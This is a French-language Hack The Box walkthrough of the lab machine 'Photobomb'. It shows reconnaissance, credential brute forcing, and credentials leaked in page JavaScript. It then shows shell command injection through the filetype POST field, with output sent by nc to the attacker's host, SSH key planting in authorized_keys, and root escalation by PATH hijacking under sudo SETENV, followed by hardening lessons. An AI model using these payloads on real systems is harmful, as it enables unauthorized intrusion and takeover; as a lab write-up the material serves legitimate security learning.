Hack The Box Walkthrough - Photobomb¶
Machine ciblée : Photobomb
Répertoire : /home/kali/photobomb
Temps passé dessus : 5H
Phase 1 : Reconnaissance¶
Comme toujours on commence par notre phase de reconnaissance.
┌──(kali㉿kali)-[~]
└─$
name="photobomb"
repository="/home/kali/$name"
ip="10.10.11.182"
cd $repository || mkdir $repository && cd $repository
grep "$ip $name ${name}.htb" /etc/hosts >/dev/null || echo "$ip $name ${name}.htb" | sudo tee -a /etc/hosts
nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt $ip
nmap -Pn -A -T5 -p - -oN $repository/full $ip
┌──(kali㉿kali)-[~/photobomb]
└─$ cat $repository/txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
| 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_ 256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
458/tcp filtered appleqtc
1044/tcp filtered dcutility
2007/tcp filtered dectalk
2045/tcp filtered cdfunc
2702/tcp filtered sms-xfer
8654/tcp filtered unknown
9943/tcp filtered unknown
49160/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

En regardant le report, on voit ici un serveur web. Petite connexion dessus, il s’avère que l’on a un serveur web qui fonctionne sous Sinatra (un dérive de Ruby). Ça se remarque en mettant n’importe quoi après le nom du serveur dans la barre de recherche ex : http://photobomb.htb/kjflkjfdslfkj. On voit également qu’il y a un /printer qui demande une authentification. Un coup de Burp ou de WireShark pour se rendre compte qu’il s’agit d’authentification Basic.

Comme j’y connais rien a ruby, on tente un peu de bruteforce et l’on travaille sur autre chose …
┌──(kali㉿kali)-[~/photobomb]
└─$ patator http_fuzz auth_type=basic url=http://photobomb.htb/printer user_pass=FILE0:FILE1 0=/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt 1=/usr/share/wordlists/rockyou.txt -x ignore:code=401
┌──(kali㉿kali)-[~/photobomb]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://photobomb.htb
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://photobomb.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/10/12 08:23:17 Starting gobuster in directory enumeration mode
===============================================================
/printer (Status: 401) [Size: 188]
/printers (Status: 401) [Size: 188]
/printerfriendly (Status: 401) [Size: 188]
/printer_friendly (Status: 401) [Size: 188]
/printer_icon (Status: 401) [Size: 188]
/printer-icon (Status: 401) [Size: 188]
/printer-friendly (Status: 401) [Size: 188]
/printerFriendly (Status: 401) [Size: 188]
[...]
On peut se rendre compte grâce à GoBuster que l’ensemble des fichiers qui matchent le pattern /printer* demandent une authentification. on en conclus que le fichier de connexion doit ressembler a ça : #SpoilerAlert : Pas du tout ! C’est Nginx qui gère l’authentification !
use Rack::Auth::Basic
get '/printer*' do |username, password|
username == 'admin' && password == 'secret'
[... le reste du fichier ...]
end
Je pense qu’on peut faire un truc grâce à cette étoile … Mais quoi ? Bah rien en faite, il suffit de repartir à la base. Je dirais même plus, à la source. Si l’on inspecte le code source de la page, on trouve un script javascript. Ce dernier donne en clair les logins/mots de passe pour accéder à la page printer. Ok, dans la vrai vie, ça arriverai pas, mais c’est une machine web et une machine easy !
function init() {
// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
}
}
window.onload = init;
Phase 2 : Analyse¶
N.B: Si vous voulez la jouez réel, il suffit de rajouter le cookie « isPhotoBombTechSupport » à une valeur n’importe style « yes » sur la page par défaut, de réactualiser puis de cliquer sur le click here :)
On a donc les premières credentials, et l’on est connecté à la page « printer ». On regarde un peu comment fonctionne la page, il s’agit d’un formulaire géant qui permet de télécharger des photos. Pour cela, on clique sur une photo, un dimension, un type d’image et en avant. la requête ressemble à ça :
POST /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://photobomb.htb/
Authorization: Basic cEgwdDA6YjBNYiE=
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 73
photo=kevin-charit-XZoaTJTnB9U-unsplash.jpg&filetype=jpg&dimensions=10x10
Mais que se passe-t-il si l’on change les paramètres du post ? Disons cmd=id ? On tombe sur la page de debug des erreurs qui nous indique comment fonctionne le code derrière.



Comme on peut voir les variables d’environnement, on se rends compte que le WEBrick est en version 1.6.0. Petite recherche google, le serveur est vulnérable à la faille CVE-2020-25613 ! Le concept paraissait intéressant, malheureusement, c’est une fausse piste.
Repartons un peu plus haut, on voit qu’il y a 3 champs : le champs photo, le champs filetype et le champs dimensions. Chacun de ces champs dispose d’une regex plus ou moins permissif. Dans le cas du champs photo, s’il détecte un . ou un /, il retourne une erreur 500. Dans le cas du champs dimension, il faut forcément que la valeur est la forme chiffrexchiffre (car contrôle sur le début et la fin de ligne) donc pas bien plus pratique. Par contre, le champs filetype lui est plus permissif. A partir du moment où l’on commence avec png ou jpg, il lance la suite.
On peut donc tenter quelque chose comme ça :
┌──(kali㉿kali)-[~/photobomb]
└─$ nc -lvp 3333 &
listening on [any] 3333 ...
┌──(kali㉿kali)-[~/photobomb]
└─$ curl -X POST -u "pH0t0:b0Mb\!" http://photobomb.htb/printer -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg%3b`echo+1|+nc+10.10.14.109+3333`&dimensions=10x10'
connect to [10.10.14.109] from photobomb [10.10.11.182] 46844
1
Notre echo fonctionne, c’est parti pour devenir l’utilisateur !
Phase 3 : User¶
On va donc partir sur le même fonctionnement qu’au dessus et en nous renvoyant un output à l’aide de nc :
┌──(kali㉿kali)-[~/photobomb]
└─$ nc -lvp 3333 &
┌──(kali㉿kali)-[~/photobomb]
└─$ curl -X POST -u "pH0t0:b0Mb\!" http://photobomb.htb/printer -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg%3b`pwd|+nc+10.10.14.109+3333`&dimensions=10x10'
connect to [10.10.14.109] from photobomb [10.10.11.182] 59388
/home/wizard/photobomb
┌──(kali㉿kali)-[~/photobomb]
└─$ nc -lvp 3333 &
┌──(kali㉿kali)-[~/photobomb]
└─$ ssh-keygen -t ed25519 -f ./id_ecdsa -C '' -N '' >/dev/null
┌──(kali㉿kali)-[~/photobomb]
└─$ cat ./id_ecdsa.pub ##Attention, si la clé comporte un "+", il faudra la refaire ! Autrement, le serveur va l'interpreter comme un caractère HTLM " ".
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ8IXrtaOA/6cyFuRT3iNgqVTg5oquskijOl7yQVMLwm
┌──(kali㉿kali)-[~/photobomb]
└─$ curl -X POST -u "pH0t0:b0Mb\!" http://photobomb.htb/printer -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg%3b`echo+"ssh-ed25519+AAAAC3NzaC1lZDI1NTE5AAAAIJ8IXrtaOA/6cyFuRT3iNgqVTg5oquskijOl7yQVMLwm"+|+tee+-a+../.ssh/authorized_keys+|+nc+10.10.14.109+3333`&dimensions=10x10'
connect to [10.10.14.109] from photobomb [10.10.11.182] 35778
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ8IXrtaOA/6cyFuRT3iNgqVTg5oquskijOl7yQVMLwm
┌──(kali㉿kali)-[~/photobomb]
└─$ ssh -i ./id_ecdsa wizard@photobomb.htb
wizard@photobomb:~$ id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)
wizard@photobomb:~$ cat user.txt
3fa7df55ed5b6cc14aab47b82033c0bd
Ok, la clé est ajouté, on a accès au système, et donc on a le premier flag.
Phase 4 : Elevation de privilege¶
Regardons les trucs de bases :
wizard@photobomb:~$ sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
wizard@photobomb:~$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
On a donc un truc à faire par ici pour pouvoir devenir root… Mais quoi ? En étant un peu attentif, on se rends compte que les commandes cat et truncate
wizard@photobomb:~$ cp /usr/bin/bash ./cd
wizard@photobomb:~$ sudo PATH="./:$PATH" /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# cat /root/root.txt #La commande passe bien, ce n'est qu'un soucis de typo du markdown a cause du prompt bash.
c18a36c18b7bf43cfc1e1f2e7fa1b793
Et voilà notre flag root !
Récapitulatif¶
La box était relativement plaisante à faire. Je suis resté bloqués de nombreuses heures, mais j’ai réussi à me dépanner et à comprendre pas mal de chose quasiment tout seul. Il m’a fallu un coup de main pour le mot de passe initial (qui met ses creds dans un script javascript sérieusement ? …) mais après, j’ai déroulé tout seul. Petite découverte pour le setenv très intéressante.
A noter également, bien que je ne l’ai pas montrer dans ce retour, j’avais pensé à faire un script root.sh.jpg dans le dossier source_images, puis lui appliquer un SUID et le lancer en tant que root. Seulement, le chmod retire les privièges SUID.
A retenir¶
Faut-il rappeler que l’on ne mets pas des creds en clair où que ce soit ? Pareil, il convient d’éviter de laisser traîner les pages d’erreurs comme on peut le voir si l’on fout un mauvais post. Cela permet de comprendre l’ensemble de la page web derrière très facilement. Comme toujours, sudo est rempli de mauvaise pratique, et l’execution en nopasswd + env_reset + setenv, c’est le mal. Ainsi, on se rappelera de :
Durcir le sudoers (l’utilisation du NOPASSWD est quasi inexcusable)
Ne pas permettre de Réinitialiser son PATH
Dans tes scripts, toujours utiliser des chemins absolus pour les commandes.